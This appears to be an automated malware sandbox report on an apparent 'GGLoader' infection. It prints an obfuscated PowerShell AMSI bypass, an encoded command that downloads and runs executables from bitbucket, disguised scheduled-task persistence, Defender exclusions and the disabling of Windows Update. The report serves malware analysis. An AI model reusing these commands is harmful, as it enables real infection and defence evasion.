ull,@([Object]$HeqbDgp,[Object](''+[Char](65)+''+'m'+'s'+'i'+'S'+'c'+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+'f'+'f'+''+'e'+''+[Char](114)+'')));$PkJlyJKorW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($faOvxInCzixgngEEX,$iRYrKAQVeAaAeQuFyPrnnT).Invoke($IuUaBXLrrKNKqLwGc,[uint32]8,4,[ref]$PkJlyJKorW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$IuUaBXLrrKNKqLwGc,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($faOvxInCzixgngEEX,$iRYrKAQVeAaAeQuFyPrnnT).Invoke($IuUaBXLrrKNKqLwGc,[uint32]8,0x20,[ref]$PkJlyJKorW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+'l'+''+[Char](101)+''+'r'+''+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2884 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4188
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DjWrpuQULLXA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$yGiWqLoKzuOnvF,[Parameter(Position=1)][Type]$BDAPvPBTxU)$vIYNnwXlPWT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+[Char](101)+''+'c'+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+'e'+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+'M'+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+'l'+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+'c'+','+'Se'+[Char](97)+'l'+[Char](101)+''+[Char](100)+','+[Char](65)+'n'+'s'+''+[Char](105)+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+'l'+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$vIYNnwXlPWT.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+'ci'+[Char](97)+'l'+[Char](78)+'am'+[Char](101)+','+[Char](72)+''+'i'+''+'d'+'e'+[Char](66)+'yS'+'i'+''+[Char](103)+','+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$yGiWqLoKzuOnvF).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+'M'+[Char](97)+''+[Char](110)+''+'a'+'g'+'e'+''+[Char](100)+'');$vIYNnwXlPWT.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+'Sl'+'o'+''+'t'+','+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$BDAPvPBTxU,$yGiWqLoKzuOnvF).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+'i'+'m'+''+[Char](101)+',M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $vIYNnwXlPWT.CreateType();}$TtuKzFyShVnSw=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+'e'+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+'W'+'i'+''+[Char](110)+''+[Char](51)+'2.'+'U'+''+[Char](110)+''+[Char](115)+''+'a'+'feT'+[Char](116)+''+[Char](117)+'K'+[Char](122)+'F'+'y'+'S'+'h'+''+'V'+''+[Char](110)+''+[Char](83)+''+[Char](119)+'');$XbrjBmgCNtxsCs=$TtuKzFyShVnSw.GetMethod(''+[Char](88)+''+[Char](98)+''+[Char](114)+''+'j'+'B'+[Char](109)+''+'g'+''+'C'+''+[Char](78)+''+[Char](116)+''+[Char](120)+''+[Char](115)+''+[Char](67)+''+'s'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+'c'+''+','+'Sta'+'t'+''+'i'+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RFyMSRtTThUVsZfJqJB=DjWrpuQULLXA @([String])([IntPtr]);$TsJpVEJJmXiEEnClRoMCIN=DjWrpuQULLXA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QdzoEdiWRzL=$TtuKzFyShVnSw.GetMethod('G'+'e'+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+'l'+[Char](101)+'Ha'+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$GFUVWottdvKQci=$XbrjBmgCNtxsCs.Invoke($Null,@([Object]$QdzoEdiWRzL,[Object](''+'L'+''+[Char](111)+'a'+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+'aryA')));$EehPiGaptRtqijYRM=$XbrjBmgCNtxsCs.Invoke($Null,@([Object]$QdzoEdiWRzL,[Object](''+[Char](86)+'irt'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$GMLdgbX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GFUVWottdvKQci,$RFyMSRtTThUVsZfJqJB).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+'d'+''+'l'+'l');$KFdtpAmmSNhdSjLmT=$XbrjBmgCNtxsCs.Invoke($Null,@([Object]$GMLdgbX,[Object]('A'+[Char](109)+''+'s'+'i'+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+'r')));$VjasnXmXMN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EehPiGaptRtqijYRM,$TsJpVEJJmXiEEnClRoMCIN).Invoke($KFdtpAmmSNhdSjLmT,[uint32]8,4,[ref]$VjasnXmXMN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$KFdtpAmmSNhdSjLmT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EehPiGaptRtqijYRM,$TsJpVEJJmXiEEnClRoMCIN).Invoke($KFdtpAmmSNhdSjLmT,[uint32]8,0x20,[ref]$VjasnXmXMN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('di'+'a'+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3376
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1364
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1520
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1528
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1648
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1912
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1992
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1880
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2192
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2768
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2816
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2932
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3448
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3472
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C:\Users\Admin\AppData\Local\Temp\GGLoader.exe"C:\Users\Admin\AppData\Local\Temp\GGLoader.exe"2⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcgB4ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG4AdQBzACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAVgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUALwBTAGUAcgB2AGUAcgAgAGkAcwAgAGEAbABsAG8AdwBlAGQAIQAgAFQAcgB5ACAAcgB1AG4AbgBpAG4AZwAgAG8AbgAgAGEAIABkAGkAZgBmAGUAcgBlAG4AdAAgAGQAZQB2AGkAYwBlACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHcAawBrACMAPgA7ACIAOwA8ACMAZQBmAHIAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBmAHAAZwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBuAHoAaAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBhAHEAZAAjAD4AOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvADUAOQA0ADAAagBnADkAOAAzADQALwBnAGYAMwA0ADQAMwBmADMALwByAGEAdwAvADAAYQBkAGYAYQBlAGYANABmADgANAA3AGEAMQA3AGUAYQA0AGUANABmADYANQA2AGQAYwBkADgANQBlADcANgAyADkAMwA3ADgAMABlAGQALwBEAC4AZQB4AGUAJwAsACAAPAAjAHAAagB4ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdgBjAHkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAeQBjAHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMAZQBuAHMAZQBHAGUAdAAuAGUAeABlACcAKQApADwAIwBiAGcAawAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AcgBlAGMAaABlAGEAdABzAG8AcgBnAC8AcgBlAGMAaABlAGEAdABzAGQAaQByAGUAYwB0AC8AcgBhAHcALwAwADAAZQBiADIAZAAwAGIANAAzADYANQA5ADEAZgBjAGUAMQAxADUAMwBiAGEAYwBhADcANgAyADUAMAA5AGUANwA2ADIAZgAyAGMAZQA0AC8AQwBMAFAALgBlAHgAZQAnACwAIAA8ACMAcwBiAGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHEAdQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBrAHcAcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBDAGgAZQBjAGsALgBlAHgAZQAnACkAKQA8ACMAawBpAHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAHIAZQBjAGgAZQBhAHQAcwBvAHIAZwAvAHIAZQBjAGgAZQBhAHQAcwBkAGkAcgBlAGMAdAAvAHIAYQB3AC8AMAAwAGUAYgAyAGQAMABiADQAMwA2ADUAOQAxAGYAYwBlADEAMQA1ADMAYgBhAGMAYQA3ADYAMgA1ADAAOQBlADcANgAyAGYAMgBjAGUANAAvAEQAZQB2AG0AaQBuAC4AZQB4AGUAJwAsACAAPAAjAGQAdQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaABoAHQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdQBzAHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMAUwBlAG4AZAAuAGUAeABlACcAKQApADwAIwBoAHcAbgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAG0AagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZwB1AGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMAZQBuAHMAZQBHAGUAdAAuAGUAeABlACcAKQA8ACMAdABhAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQB1AG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAaQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAEMAaABlAGMAawAuAGUAeABlACcAKQA8ACMAbgBqAHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQB4AGkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAbQBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAFMAZQBuAGQALgBlAHgAZQAnACkAPAAjAGQAbgBnACMAPgA="3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#nus#>[System.Windows.Forms.MessageBox]::Show('No Virtual Machine/Server is allowed! Try running on a different device!','','OK','Error')<#wkk#>;4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1252 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1388
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C:\Users\Admin\AppData\Local\Temp\LicenseGet.exe"C:\Users\Admin\AppData\Local\Temp\LicenseGet.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3468
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C:\Users\Admin\AppData\Local\Temp\LicCheck.exe"C:\Users\Admin\AppData\Local\Temp\LicCheck.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1352 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:744 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
PID:3016
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C:\Users\Admin\AppData\Local\Temp\LicSend.exe"C:\Users\Admin\AppData\Local\Temp\LicSend.exe"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ncotqmia#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3064
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4612
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1392
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4832
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3168
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4008
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:2316
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:5008
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4860
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2624
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2400
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4000
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of WriteProcessMemory
PID:948 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3536
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1416
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4520
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:800
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3628
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3820
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4016
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:1592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:5100
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:4936
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1396
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2180
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1432
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1236
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
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Downloads
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Filesize
3KB
MD5223bd4ae02766ddc32e6145fd1a29301
SHA1900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA2561022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
